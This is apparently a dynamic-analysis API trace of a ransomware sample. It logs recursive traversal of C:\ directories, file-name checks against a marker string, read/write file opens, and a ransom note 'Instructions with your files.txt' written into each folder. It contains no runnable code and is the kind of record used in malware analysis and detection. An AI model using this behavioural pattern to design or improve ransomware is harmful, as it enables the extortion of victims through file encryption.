[0033.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.037] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\.") returned 19
[0033.037] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0033.037] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\..") returned 20
[0033.037] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0033.038] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 33
[0033.038] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0033.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.038] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.038] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\zh-TW\\Instructions with your files.txt") returned 50
[0033.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\Instructions with your files.txt" (normalized: "c:\\boot\\zh-tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.038] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.039] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.039] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.039] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.039] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.039] CloseHandle (hObject=0x108) returned 1
[0033.039] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.039] GetProcessHeap () returned 0x2e0000
[0033.039] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0033.039] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
[0033.039] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Instructions with your files.txt") returned 44
[0033.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Instructions with your files.txt" (normalized: "c:\\boot\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0033.040] WriteFile (in: hFile=0x104, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf634*=0x54, lpOverlapped=0x0) returned 1
[0033.041] WriteFile (in: hFile=0x104, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf634*=0x18, lpOverlapped=0x0) returned 1
[0033.041] WriteFile (in: hFile=0x104, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf634*=0xc, lpOverlapped=0x0) returned 1
[0033.041] WriteFile (in: hFile=0x104, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf634*=0x16, lpOverlapped=0x0) returned 1
[0033.041] WriteFile (in: hFile=0x104, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf634*=0x23, lpOverlapped=0x0) returned 1
[0033.041] CloseHandle (hObject=0x104) returned 1
[0033.041] FindClose (in: hFindFile=0x2feec0 | out: hFindFile=0x2feec0) returned 1
[0033.041] GetProcessHeap () returned 0x2e0000
[0033.041] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x314750 | out: hHeap=0x2e0000) returned 1
[0033.041] FindNextFileW (in: hFindFile=0x2fee80, lpFindFileData=0xecf8e4 | out: lpFindFileData=0xecf8e4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
[0033.041] wnsprintfW (in: pszDest=0x303740, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\bootmgr") returned 14
[0033.041] StrStrIW (lpFirst="bootmgr", lpSrch="SDfghjkl") returned 0x0
[0033.041] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.041] FindNextFileW (in: hFindFile=0x2fee80, lpFindFileData=0xecf8e4 | out: lpFindFileData=0xecf8e4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
[0033.041] wnsprintfW (in: pszDest=0x303740, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\BOOTSECT.BAK") returned 19
[0033.041] StrStrIW (lpFirst="BOOTSECT.BAK", lpSrch="SDfghjkl") returned 0x0
[0033.042] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.046] FindNextFileW (in: hFindFile=0x2fee80, lpFindFileData=0xecf8e4 | out: lpFindFileData=0xecf8e4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
[0033.046] wnsprintfW (in: pszDest=0x303740, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi") returned 17
[0033.046] GetProcessHeap () returned 0x2e0000
[0033.046] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x314750
[0033.046] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Config.Msi\\*") returned 19
[0033.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2feec0
[0033.046] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\.") returned 19
[0033.046] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0033.046] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\." (normalized: "c:\\config.msi\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.046] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0033.047] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\..") returned 20
[0033.047] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0033.047] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.047] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0033.047] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Config.Msi\\Instructions with your files.txt") returned 50
[0033.047] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\Instructions with your files.txt" (normalized: "c:\\config.msi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0033.047] WriteFile (in: hFile=0x104, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf634*=0x54, lpOverlapped=0x0) returned 1
[0033.048] WriteFile (in: hFile=0x104, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf634*=0x18, lpOverlapped=0x0) returned 1
[0033.048] WriteFile (in: hFile=0x104, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf634*=0xc, lpOverlapped=0x0) returned 1
[0033.048] WriteFile (in: hFile=0x104, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf634*=0x16, lpOverlapped=0x0) returned 1
[0033.048] WriteFile (in: hFile=0x104, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf634, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf634*=0x23, lpOverlapped=0x0) returned 1
[0033.048] CloseHandle (hObject=0x104) returned 1
[0033.048] FindClose (in: hFindFile=0x2feec0 | out: hFindFile=0x2feec0) returned 1
[0033.048] GetProcessHeap () returned 0x2e0000
[0033.049] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x314750 | out: hHeap=0x2e0000) returned 1
[0033.049] FindNextFileW (in: hFindFile=0x2fee80, lpFindFileData=0xecf8e4 | out: lpFindFileData=0xecf8e4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
[0033.049] wnsprintfW (in: pszDest=0x303740, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Documents and Settings") returned 29
[0033.049] GetProcessHeap () returned 0x2e0000
[0033.049] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x314750
[0033.049] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Documents and Settings\\*") returned 31
[0033.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Documents and Settings\\*", lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="ì甽㝀0翿")) returned 0xffffffff
[0033.049] GetProcessHeap () returned 0x2e0000
[0033.049] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x314750 | out: hHeap=0x2e0000) returned 1
[0033.049] FindNextFileW (in: hFindFile=0x2fee80, lpFindFileData=0xecf8e4 | out: lpFindFileData=0xecf8e4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
[0033.049] wnsprintfW (in: pszDest=0x303740, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\hiberfil.sys") returned 19
[0033.049] StrStrIW (lpFirst="hiberfil.sys", lpSrch="SDfghjkl") returned 0x0
[0033.049] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.049] FindNextFileW (in: hFindFile=0x2fee80, lpFindFileData=0xecf8e4 | out: lpFindFileData=0xecf8e4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1
[0033.049] wnsprintfW (in: pszDest=0x303740, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache") returned 15
[0033.049] GetProcessHeap () returned 0x2e0000
[0033.049] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x314750
[0033.049] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\*") returned 17
[0033.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2feec0
[0033.050] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\.") returned 17
[0033.050] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0033.050] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\." (normalized: "c:\\msocache\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.050] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0033.050] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\..") returned 18
[0033.050] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0033.050] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.050] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
[0033.050] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users") returned 25
[0033.050] GetProcessHeap () returned 0x2e0000
[0033.050] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.050] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\*") returned 27
[0033.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.073] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\.") returned 27
[0033.073] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0033.073] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\." (normalized: "c:\\msocache\\all users\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.077] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0033.107] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\..") returned 28
[0033.107] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0033.107] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\.." (normalized: "c:\\msocache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.108] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1
[0033.108] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C") returned 66
[0033.108] GetProcessHeap () returned 0x2e0000
[0033.108] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0033.123] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*") returned 68
[0033.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
